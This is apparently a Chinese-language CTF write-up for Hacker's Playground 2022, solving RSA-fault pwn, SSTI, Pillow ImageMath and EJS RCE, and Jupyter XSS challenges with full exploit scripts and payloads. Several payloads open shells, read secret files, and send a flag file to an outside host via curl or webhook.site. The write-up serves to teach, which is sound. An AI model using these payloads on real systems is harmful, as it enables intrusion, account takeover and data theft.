Hacker's Playground 2022 WriteUps
在防疫旅館的期間以 TSJ 參加了三星辦的 24 小時 ctf,最後拿了第 6 名,有些題目蠻有趣的所以也寫個 writeup。
[Pwn/Crypto] Secure Runner
這題的 elf 逆向一下可以知道它一開始先生成 RSA key,public key 會提供給你,之後可以讓你選擇幾個預先設好的指令的 signature。執行指令的話需要同時輸入指令和對應的 signature 才能執行。
另外它還有藏一個只能使用一次的 format string attack,長度也只有 4 而已:
unsigned __int64 onechance()
{
int offset; // [rsp+4h] [rbp-1Ch] BYREF
__int64 v2; // [rsp+8h] [rbp-18h]
char s[5]; // [rsp+13h] [rbp-Dh] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = heap;
if ( !usedFlag_5095 )
{
usedFlag_5095 = 1;
__isoc99_scanf("%d%*c", &offset);
v2 += offset;
fgets(s, 5, stdin);
if ( !strchr(s, 's') )
printf(s);
}
return __readfsqword(0x28u) ^ v4;
}
這邊的 heap
是 heap 上的某個 chunk,所以可以讓 stack 上有個任意 offset 的 heap address 方便使用。而 s
因為被 ban 了所以代表這邊不能讀,只能寫而已。
因為題目在做大數的時候是使用 GNU MP 的 mpz,它會把數字東西也存在 heap 上,這代表可以透過控制 offset 去 corrupt key 的某些部分。而 key 本身是個 struct,格式大概是這樣,每個都是一個 16 bytes mpz,大概是存 metadata 和 pointer:
0: p
16: q
32: n
64: e
80: d
96: dp
112: dq
128: p-1 後來變成 (q^-1 mod p)*q
144: q-1 後來變成 (p^-1 mod q)*p
這題在 verify signature 的部分是直接檢查 是不是要執行的指令,所以這邊如果更改 的話就能有些利用空間。
因為 format string 長度只有 4,算了一下知道 heap address 的 index 是 7,所以唯一可能的打法是 %7$n
,把某四個 byte 設為 0 而已。這邊就讓我想到了今年 crypto ctf 的 Fiercest,所以就直接爆搜看看修改哪幾個 byte 可以讓它變為質數,這樣就簡單了。
from pwn import *
from Crypto.Util.number import *
# io = process("./SecureRunner")
io = remote("securerunner.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)
def find_flip(n):
for i in range(0, 2048, 8):
nn = n & ~(0xFFFFFFFF << i)
if isPrime(nn):
return nn, i // 8
raise Exception("Unlucky")
p, offset = find_flip(n)
print(p)
io.sendline(b"9999")
io.sendline(str(-0x880 + offset).encode())
io.sendline(b"%7$n")
io.sendline(b"2")
d = pow(e, -1, p - 1)
cmd = b"sh"
sig = pow(bytes_to_long(cmd), d, p)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{sm4LL_but_b1g_en0u9h_f4Ul7_to_br3ak_RSA_5c3829d4}
[Pwn/Crypto] Secure Runner 2
這題和前一題類似,但是它 signature verification 的部分是先計算 再 ,而不是直接拿 key 中的 來用。
雖然是可以 corrupt 或是 ,但是想了想好像沒什麼用。
另外看到它 sign 預先定義的指令的地方可以知道它不是直接 ,而是使用 RSA CRT 的簽章方法,所以就想到了 Fault attacks on RSA’s signatures。
然而這題它生成 key 的時候還有多計算 ,而 sign 之前也會檢查過這四個值的完整性,所以想透過改 然後用 CRT fault 去 gcd 是不可行的。
不過再稍微查一查就能找到 Modulus Fault Attacks Against RSA-CRT Signatures,它產生 fault 的地方是 ,所以會有個 。要使用這方法的條件是要能得到 signature 和 的值才行,而這個正好在這題是都能達成的。
這個方法比較麻煩的是它用了 orthogonal lattice attack,所以實作不簡單,所以我是先直接按照它的方法實做一份出來:
from sage.all import *
from Crypto.Util.number import *
from itertools import combinations
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))
dp = d % (p - 1)
dq = d % (q - 1)
crtp = pow(q, -1, p) * q
crtq = pow(p, -1, q) * p
# fault
n2 = n & ~0xFFFFFFFF
def crt_sign(m):
sp = pow(m, dp, p)
sq = pow(m, dq, q)
return (sp * crtp + sq * crtq) % n
def crt_sign_fault(m):
sp = pow(m, dp, p)
sq = pow(m, dq, q)
return (sp * crtp + sq * crtq) % n2
def get_v(m):
s1 = crt_sign(m)
s2 = crt_sign_fault(m)
return crt([s1, s2], [n, n2])
l = 5
vs = [ZZ(get_v(randint(2, n))) for _ in range(l)]
M1 = matrix(vs).T.augment(matrix.identity(l))
M1[:, 0] *= floor(sqrt((M1*M1.T).det()))
print(M1.change_ring(Zmod(100)))
L = M1.LLL()[: l - 2, 1:]
L = L.T.augment(matrix.identity(l))
L[:, : l - 2] *= floor(sqrt((L*L.T).det()))
print(L.change_ring(Zmod(100)))
LT = L.LLL()[:, -l:]
for z in LT:
d = vector(vs) - z
for t in d:
g = gcd(t, n)
if g != 1:
print("g", g)
print(n)
然後把它修改一下整合到原本 pwn 的腳本去就行了:
from pwn import *
from sage.all import *
from Crypto.Util.number import *
# io = process("./SecureRunner2")
io = remote("eca189e9.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)
def factor(vs):
l = len(vs)
M1 = matrix(vs).T.augment(matrix.identity(l))
M1[:, 0] *= floor(sqrt((M1 * M1.T).det()))
L = M1.LLL()[: l - 2, 1:]
L = L.T.augment(matrix.identity(l))
L[:, : l - 2] *= floor(sqrt((L * L.T).det()))
LT = L.LLL()[:, -l:]
for z in LT:
d = vector(vs) - z
for t in d:
g = gcd(t, n)
if g != 1 and g < n:
return g
normal_sigs = []
fault_sigs = []
for i in range(5):
io.sendline(b"1")
io.sendline(str(i).encode())
io.sendline(b"3")
io.recvuntil(b"sign = ")
normal_sigs.append(int(io.recvline()))
io.sendline(b"9999")
io.sendline(str(-0x880).encode())
io.sendline(b"%7$n")
n2 = n & ~0xFFFFFFFF
for i in range(5):
io.sendline(b"1")
io.sendline(str(i).encode())
io.sendline(b"3")
io.recvuntil(b"sign = ")
fault_sigs.append(int(io.recvline()))
vs = [crt([x, y], [n, n2]) for x, y in zip(normal_sigs, fault_sigs)]
p = factor(vs)
q = n // p
assert p * q == n
d = power_mod(e, -1, (p - 1) * (q - 1))
cmd = b"sh"
sig = power_mod(bytes_to_long(cmd), d, n)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{RSA_mOdulu5_f4ult_1nj3t10n_4tTack_w1th_9R3A7_LLL}
這題還有些有趣的 unintended,像是它雖然會用 xor 檢查完整性,但是那個是在 sign 的時候才會用到,所以只要不用到 sign 的功能時就能改其他參數。以第二題的 rsa key 來說它一共有這些參數:
0: p
16: q
32: n
48: e
64: d
80: dp
96: dq
112: p-1 後來變成 (q^-1 mod p)*q
128: q-1 後來變成 (p^-1 mod q)*p
144: p xor q xor dp xor dq
一個改法是修改 得到 ,然後使用它的選項 0
可以得到 ,這樣和原本的 xor 就能得到 。不過此時 signature verification 使用的會是 ,所以如果 不好分解就糟了。不過這其實也好處理,就學第一題的概念,賭 是質數的情況就能解決了。如果 非質數就斷掉重來即可。
另一個做法是修改 112 和 128 的 crt coefficients 和 。因為我們知道 CRT RSA 的 signing 等式長這樣:
如果改掉 的 lsb 會得到 ,然後再 sign 一次得到另一個 signature :
此時兩個 signature 的差:
的部分用 %7$n
去蓋的話最多也才 個可能,再者我們還可以把 offset 往前調一些(有 heap chunk padding 所以不會搞壞其他東西)讓 的範圍只有 。然後爆 之後開 減 再 gcd 即可獲得 。
[Crypto/Web] CUSES
cookie 是 AES CTR 加密的,flip username 的 guest
成 admin
就有 flag 了。
[Misc/Web] 5th degree
就它會給一個五次多項式,要在一個給定範圍中找出極大極小值,需要在一分鐘內解完 30 題才有 flag。
基本上 sage 弄一弄就行了:
import re
import httpx
def solve(tex, lb, ub):
eq = re.sub(r"(\d)(x)", "\\1*\\2", tex.strip()).replace("^", "**")
print(eq)
P.<x> = ZZ[]
y = eval(eq.replace("y = ", ""))
ps = [x for x in y.diff().roots(multiplicities=False) if lb <= x <= ub]
ps = [lb] + ps + [ub]
ys = [y(x) for x in ps]
return min(ys), max(ys)
cli = httpx.Client(base_url="http://5thdegree.sstf.site/")
page = cli.get("/chal").text
for _ in range(30):
print("Round", re.search(r"Round (\d+)", page).group(1))
tex = re.search(r"\\\[(.*?)\\\]", page).group(1).strip()
print(tex)
m = re.search(r"\\\( ([\-0-9]+) \\le x \\le ([\-0-9]+) \\\)", page)
lb = int(m.group(1))
ub = int(m.group(2))
print(lb, ub)
mn, mx = solve(tex, lb, ub)
print(mn, mx)
print()
page = cli.post("/chal", data={"min": mn, "max": mx}).text
print(page)
# SCTF{I_w4nt_t0_l1v3_in_a_wOrld_w1thout_MATH}
[Web] Online Education
這題用負數繞過一些東西,然後因為 re.match
只有檢查 email 的開頭,所以後面可以加一些 js 讓它被 html -> pdf 的工具執行,這邊就能 lfi leak config.py
得到 flask secret,然後 sign 新的 session 變 admin 拿到 flag。
import httpx
xss = """
<script>
var xhr = new XMLHttpRequest
xhr.open('GET', 'file:///home/app/config.py', false)
xhr.send(null)
document.write(xhr.responseText)
</script>
"""
cli = httpx.Client(base_url="http://onlineeducation.sstf.site/", follow_redirects=False)
r = cli.post("/signin", data={"name": "peko", "email": "peko@gmail.com" + xss})
for i in range(3):
print(i)
cli.post("/status", json={"action": "start"})
cli.post("/status", json={"action": "finish", "rate": -1})
pdf = cli.get("cert").read()
with open("cert.pdf", "wb") as f:
f.write(pdf)
# secret_key 19eb794c831f30f099a31b1c095a17d6
# flask-unsign -S 19eb794c831f30f099a31b1c095a17d6 -s --cookie "{'email': 'peko@gmail.com', 'idx': 3, 'is_admin': True, 'name': 'peko'}"
# SCTF{oh_I_forgot_to_disable_javascript}
[Rev] FSC
這題有個單純用 C 的 printf format string 寫個 flag checker,但我不知道怎麼逆這種東西,所以把它當作黑箱來處理了。
透過改變一些輸入的值可以之看出它應該是個 下的矩陣乘法。原則上它計算就是先把 input 全部減一得到一個 vector ,然後有預先定義好的 matrix 和 vector 。
check 的部分就是看 是不是 而已,所以透過改變一些 的值可以得到整個 和 ,然後 sage 解開即可。
解出來的會發現它有些值不太對,因為矩陣的 kernel 非零,不過用一些方法得到 kernel 之後會發現它的值都只是幾個 index 會變 128,所以就把超過範圍的值減掉 128 就能拿到 flag 了。
dump 和 :
#include <stdio.h>
#include <string.h>
#define F(X) "%"#X"$s"
#define O(X) "%"#X"$hhn"
#define R(V,X) "%2$"#V"d"O(X)
#define M(X) "%2$.*"#X"$d"
#define A(X) X X
#define T(X) A(X)A(X)
#define S(X) T(X)T(X)
#define TR(X) S(X)S(X)
#define I(X) TR(TR(X))
#define N I(O(5)F(5))
#define G "\033[2J\n%7$s\n";
unsigned char f[1337]={0,};
unsigned char oldf[1337]={0,};
char *have = A(M(12))R(48,13)A(M(14))R(66,15)M(16)R(150,17)A(M(18))R(
36,19)A(M(20))R(46,21)M(22)R(131,23)A(M(24))R(32,25)M(26)
R(161,27)A(M(28))R(66,29)A(M(30))R(26,31)A(M(32)) R(34,33
)M(34)R(140,35)M(36)R(223,37)A(M(38))R(28,39)A( M(40))R(
88,41)A(M(42))R(90,43)A(M(44))R(10,45)M(46)R( 155,47)M(48
)R(159,49)A(M(50))R(116,51)M(52)R(141,53)M(54)R(151,55)A(
M(56))R(22,57)M(58)R(140,59)A(M(60))R(122,61)M(62)R(154,
63)M(64)R(153,65)A(M(66))R(22,67)M(68)R(146,69)A(M(70))R
(66,71)N F(17)F(55)F(27)F(71)F(39)F(67)F(25)F(15)F(35)F(
43)F(23)F(29)F(33)F(49)F(53)F(65)F(31)F(45)F(47)F(37)F(57
)F(19)F(63)F(41)F(69)F(13)F(51)F(59)F(61)F(21)O(3)N TR(F(
3)) R(71,7) N A(F(3))F(3) R(79,8) N R(79,9) N A(F(3)) S(
F(3)) R(68,10) N A(TR(F(3)))T(F(3))A(F(3)) R(33,11) N G
#define fun "SCTF{",01,f+38,f+34,f+32,f+36,f+40,f+41,f+42,f+43,f+44,\
f[27],f+100,f[18],f+82,f[5],f+56,f[15],f+76,f[14],f+74,f\
[29],f+104,f[12],f+70,f[11],f+68,f[21],f+88,f[7],f+60,f[\
24],f+94,f[8],f+62,f[28],f+102,f[13],f+72,f[2],f+50,f[0]\
,f+46,f[4],f+54,f[22],f+90,f[10],f+66,f[3],f+52,f[20],f+\
86,f[19],f+84,f[6],f+58,f[16],f+78,f[1],f+48,f[17],f+80,\
f[26],f+98,f[25],f+96,f[23],f+92,f[9],f+64,f[99],1337,"}"
int main(){
char out[10000];
// print a transposed matrix A (mod 256)
for(int k=0;k<30;k++){
memset(f, 0, sizeof(f));
sprintf(out,have,fun);
memcpy(oldf, f, sizeof(f));
memset(f, 0, sizeof(f));
f[k] = 2; // to observe changes
sprintf(out,have,fun);
printf("[");
for(int i=46;i<=104;i+=2){
printf("%d, ", f[i] - oldf[i]);
}
printf("],\n");
}
// print target vector
memset(f, 0, sizeof(f));
sprintf(out,have,fun);
for(int i=46;i<=104;i+=2){
// printf("%d: %d\n", i, f[i]);
printf("%d, ", f[i]);
}
puts("");
}
solve:
A=matrix(Zmod(256),[[2, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],
[0, 2, 0, 0, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, ],
[1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],]).T
rhs=vector([112, 117, 20, 46, 124, 13, 108, 11, 188, 153, 184, 171, 9, 186, 99, 51, 249, 16, 118, 84, 188, 239, 24, 85, 47, 194, 170, 50, 156, 231])
sol=A.solve_right(-rhs)
print(bytes([x-128+1 if x>=128 else x+1 for x in sol]))
# SCTF{just_a_printf_is_enough!}
[Misc] Flip Puzzle
就一個類似 15 puzzle 的遊戲,一樣是 4x4。它一開始會從初始狀態隨機移動 11 步,之後你要在 11 步以內走回初始狀態即可獲勝一輪,要獲勝 100 輪才有 flag。另外整個需要在 50 秒內完成。
我的作法很簡單,因為 並不是很大,所以直接 dfs 全搜索,然後建表紀錄一個每個節點的上一個點是誰,還要稍微用最短路的 relax 概念處禮一下。
之後就上面上的表直接去查該怎麼走回起點這題就結束了。
建表:
board = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P".split(",")
board = [board[i : i + 4] for i in range(0, len(board), 4)]
print(board)
par = {}
def dfs(x, y, board, depth=0):
if depth == 11:
return
parhash = "".join(["".join(x) for x in board])
for dx, dy in [(0, +1), (0, -1), (+1, 0), (-1, 0)]:
xx = (x + dx) % 4
yy = (y + dy) % 4
board[x][y], board[xx][yy] = board[xx][yy], board[x][y]
curhash = "".join(["".join(x) for x in board])
if curhash not in par or depth < par[curhash][2]:
par[curhash] = ((-dx, -dy), parhash, depth)
dfs(xx, yy, board, depth + 1)
board[x][y], board[xx][yy] = board[xx][yy], board[x][y]
dfs(0, 0, board)
print(len(par))
print(board)
import pickle
with open("par.pkl", "wb") as f:
pickle.dump(par, f)
解題:
from pwn import *
import pickle
from tqdm import tqdm
with open("par.pkl", "rb") as f:
# python bb.py
par = pickle.load(f)
def recvboard(io):
s = ""
for _ in range(4):
s += io.recvlineS().strip()
return s
# context.log_level = "debug"
# io = process(["python", "app.py"])
io = remote("flippuzzle.sstf.site", 8098)
for rnd in tqdm(range(100)):
io.recvuntil(b"Current Status :\n")
cur = recvboard(io)
dirs = []
for _ in range(11):
d, nxt, _ = par[cur]
dirs.append(d)
cur = nxt
if cur == "ABCDEFGHIJKLMNOP":
break
io.sendline("\n".join([",".join(map(str, x)) for x in dirs]).encode())
io.interactive()
# SCTF{what-is-your-favorite-algorithm_0x38dc129?}
[Web] OnlineNotepad
import os
import jinja2
import uvicorn
from pydantic import BaseModel, Field, validator
from fastapi import FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates
app = FastAPI()
userinfo_path = "userinfo"
memo_path = "memo"
app.mount("/static", StaticFiles(directory="static"), name="static")
templates = Jinja2Templates(directory=["templates", userinfo_path, memo_path])
userinfo_raw = """{%% set userid = "%s" %%}
{%% set password = "%s" %%}"""
memofile_raw = """<html>
<head>
<title>Online Notepad</title>
<link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
{%% import userid+".j2" as user %%}
{%% if userid == user.userid %%}
{%% if password == user.password %%}
<h1>Hello {{ userid }}</h1>
<h1><pre>{%% raw %%}%s{%% endraw %%}</pre></h1>
{%% else %%}
<h1>Login Fail</h1>
{%% endif %%}
{%% else %%}
<h1>Login Fail</h1>
{%% endif %%}
</div>
</body>
</html>
"""
class Memo(BaseModel):
userid: str = Field(min_length=5, max_length=20)
password: str = Field(min_length=5, max_length=20)
memo: str = Field(min_length=1, max_length=64)
@validator("userid")
def val_userid(cls, v):
if v == "admin":
raise ValueError("access denied")
if v.isalnum() != True:
raise ValueError("userid cannot contain a special character")
return v
@validator("password")
def val_password(cls, v):
if ("\"" in v) or ("/" in v):
raise ValueError("password cannot contain a special character")
return v
@validator("memo")
def val_memo(cls, v):
if ("{{" in v) or ("}}" in v):
raise ValueError("memo cannot contain a special character")
return v
@app.post("/memo/")
async def write_memo(request:Request, memo:Memo):
global userinfo_path, memo_path
global userinfo_raw, memofile_raw
userinfo = userinfo_raw % (memo.userid, memo.password)
open(os.path.join(userinfo_path, memo.userid+".j2"), "w").write(userinfo)
memofile = memofile_raw % memo.memo
open(os.path.join(memo_path, memo.userid+".html"), "w").write(memofile)
return memo
@app.get("/memo/{userid}/{password}")
async def read_memo(request:Request, userid:str, password:str):
global userinfo_path, memo_path
try:
if (
(userid.isalnum() == True) and
os.path.exists( os.path.join(userinfo_path, userid+".j2") ) and
os.path.exists( os.path.join(memo_path, userid+".html") )
):
return templates.TemplateResponse(userid+".html", {"request": request, "userid":userid, "password":password})
else:
return templates.TemplateResponse("readfail.html", {"request": request})
except Exception as e:
print(e)
return("Exception")
@app.get('/')
async def index(request:Request):
context = {"request":request}
return templates.TemplateResponse('index.html', context)
if __name__ == '__main__':
uvicorn.run(app, host="0.0.0.0", port=35547, headers=[("Server", "FastAPI")], log_level="info")
可以看到它會寫入 template 然後可以 SSTI,raw
因為是用 %s
注入的所以 memo 用 endraw
+ raw
就能 SSTI。
PS:
%%
在 python 的%
formatting 是%
的 escape,所以它其實沒重複%
至於阻擋 {{
}}
的部分就用 {%set a=7*7%}
這樣去繞過。但是另外的問題在於 memo 長度只有 64,短到不知道該怎麼弄足夠的長度去 rce。一個常見的技巧是使用 flask 的 config.update(a=lipsum.__globals__)
,去暫存一些值,然後之後再 config.a.os
這樣去存取,長度就能變短。但是 config
這個變數只有在一般的 render_template
的環境下才存在的樣子,在這邊的 TemplateResponse
中是無法使用的。
後來我注意到 password
也屬於同個環境,同時也沒有很嚴格的限制,所以就發現這個 payload 長度就剛剛好 64:
{%endraw%}{%set a=lipsum.__globals__.os.popen(password)%}{%raw%}
因為 password
長度限制只有 20,所以這邊會需要一個夠短的 domain 能塞 curl domain|sh
才行,所以這後面就給有短 domain 的 splitline 處理了。
另外這題還有個方法不用 short domain,概念上很類似前面使用 config
的手法。關鍵就是我們可以用多個帳號寫多個檔案,然後利用 {%set a = ???%}
和 {%include 'other.html'%}
這樣去組合即可。
例如 p1.html
裡面放:
{%set a=lipsum%}{%include 'p2.html'%}
然後 p2.html
裡面放:
{%set b=a.__globals__%}{%include 'p3.html'%}
然後之後就 p3.html
, p4.html
繼續這樣下去就能繞過長度限制了。
[Web] Imageium
這題是個圖片的 channel mixed 的服務,可以用下面網址提供參數得到不同的圖片:
http://imageium.sstf.site/dynamic/modified?mode=r%2Bg%2Bb
另位題目有註記說是 Pillow 8.2.0,能查到 CVE-2022-22817,說是 PIL.ImageMath.eval
是可以直接 RCE 的,所以直接塞點其他東西進去就拿到 flag 了:
http://imageium.sstf.site/dynamic/modified?mode=__import__(%27os%27).popen(%27cat%20secret/*%27).read()
下面是和解題無關的一些題外話:
這個 cve 最一開始的 patch 是 Restrict builtins for ImageMath.eval,有玩 pyjail 的很容易就能看出那很容易用 lambda 繞過,所以應該又有一個 cve…?
後來才發現到目前的 9.1.0. 之後已經有用 Restrict builtins within lambdas for ImageMath.eval 去 recursive 檢查 co_names
,而這個方法至少我是想不到辦法繞過的,所以應該是安全的。
[Web] JWT Decoder
const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const app = express();
const PORT = 3000;
app.use(cookieParser());
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
let rawJwt = req.cookies.jwt || {};
try {
let jwtPart = rawJwt.split('.');
let jwtHeader = jwtPart[0];
jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
jwtHeader = JSON.parse(jwtHeader);
jwtHeader = JSON.stringify(jwtHeader, null, 4);
rawJwt = {
header: jwtHeader
}
let jwtBody = jwtPart[1];
jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
jwtBody = JSON.parse(jwtBody);
jwtBody = JSON.stringify(jwtBody, null, 4);
rawJwt.body = jwtBody;
let jwtSignature = jwtPart[2];
rawJwt.signature = jwtSignature;
} catch(error) {
if (typeof rawJwt === 'object') {
rawJwt.error = error;
} else {
rawJwt = {
error: error
};
}
}
res.render('index', rawJwt);
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something wrong!');
});
app.listen(PORT, (err) => {
console.log(`Server is Running on Port ${PORT}`);
});
可以看到說它做的事就只有 decode jwt 然後重新 format 而已,看不出什麼洞來。雖然 res.render('index', rawJwt);
會讓我想到 echo 和 echo2 兩個題目,但是根據它 decode JWT 的方法應該是沒辦法控制其他 options 的吧…?
當然,無法控制其他 options 這點當然是錯的,不然這題就不可解了。關鍵是在 let rawJwt = req.cookies.jwt || {};
的地方,因為 express cookie 支援了一個 JSON cookie 的功能,在遇到 j:{"a": 123}
這樣的 cookie 時會嘗試去 decode,所以 rawJwt
其實可以是自己的 object。後面 split
會有 exception,但是因為會 catch 所以還是能讓自己的 payload 進到裡面。
再查一些資料之後能找到 CVE-2022-29078,google 一下就有 exploit 可用,所以這樣即可 rce:
curl 'http://jwtdecoder.sstf.site' --cookie 'jwt=j:{"settings":{"view options":{"outputFunctionName":"a=process.mainModule.require(\"child_process\").execSync(\"SHELL COMMAND\")%3Bb"}}}'
[Web] Datascience Class
這題有個 jupyter hub 的服務可以註冊和登入,代表你可以直接在 server 上執行指令了。然而它註冊似乎是直接創建新的 linux user,包括有自己的 home directory,而題目本身還有兩個帳號 admin
和 sub-admin
,flag 是放在 /home/admin/flag
之中,但我們沒有權限讀取。
另外題目還有個 xss bot 會定時 visit 各 user 的 assignment.ipynb
頁面,所以可以放些 javascript 嘗試去獲得一些資訊。我測試了一下之後發現 xss bot 的 user 是 sub-admin
,就想說先把 sub-admin
的 password 改掉,方便我登入進那帳號之後看看能不能做些事撈到 admin
的 flag。
不過就在我做到這邊的時候 seadog007 就已經用 pspy 從其他隊伍那邊偷到 flag 了 XDDD,所以就沒繼續做下去。
後來賽後知道說 sub-admin
和 admin
都是同個 group 的,所以可以用 shell read flag,但是不能直接透過 notebook api 的 /user/admin/api/contents/flag
讀 flag 而已。
記錄個別人的 payload,不是透過改 password 而是直接用 websocket 達成的:
fetch("http://datasciencecls.sstf.site/user/sub-admin/api/terminals",{method: 'POST', headers:{"X-XSRFToken":document.cookie.slice(6)}});
ws = new WebSocket("ws://datasciencecls.sstf.site/user/sub-admin/terminals/websocket/1");
ws.addEventListener('open', (event) => {
ws.send('["stdin","curl http://xxx/flag?testnw`whoami` -d@/home/admin/flag\\r"]')
})
另外還有一點是 jupyter notebook 雖然可以直接用 html:
%%html
<img src=x onerror="some javascript">
但是 onerror
中的東西在儲存後 F5 之後可能會消失 (但也有成功的可能存在…),需要重新手動執行一下那個 cell 才能正常運作,大概是有在做一些 sanitization。賽後有看到有人是用這個方法繞的:
%%html
<select><iframe></select><img src=x: onerror="some javascript">
後來才知道這原來是 CVE-2021-32798,因為 jupyter 本身會把剛 load 時所載入的 html 視為 unstusted,所以會嘗試去 sanitize html
我自己的 payload:
%%html
<select><iframe></select><img src=x: onerror="import('https://webhook.site/SOME_UUID')">
webhook response:
fetch('/hub/change-password',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'password=NEWPASSWORD'}).then(r=>r.text()).catch(err=>err.message).then(t=>fetch('https://webhook.site/SOME_UUID',{method:'POST',body:t}))
然後使用 sub-admin/NEWPASSWORD
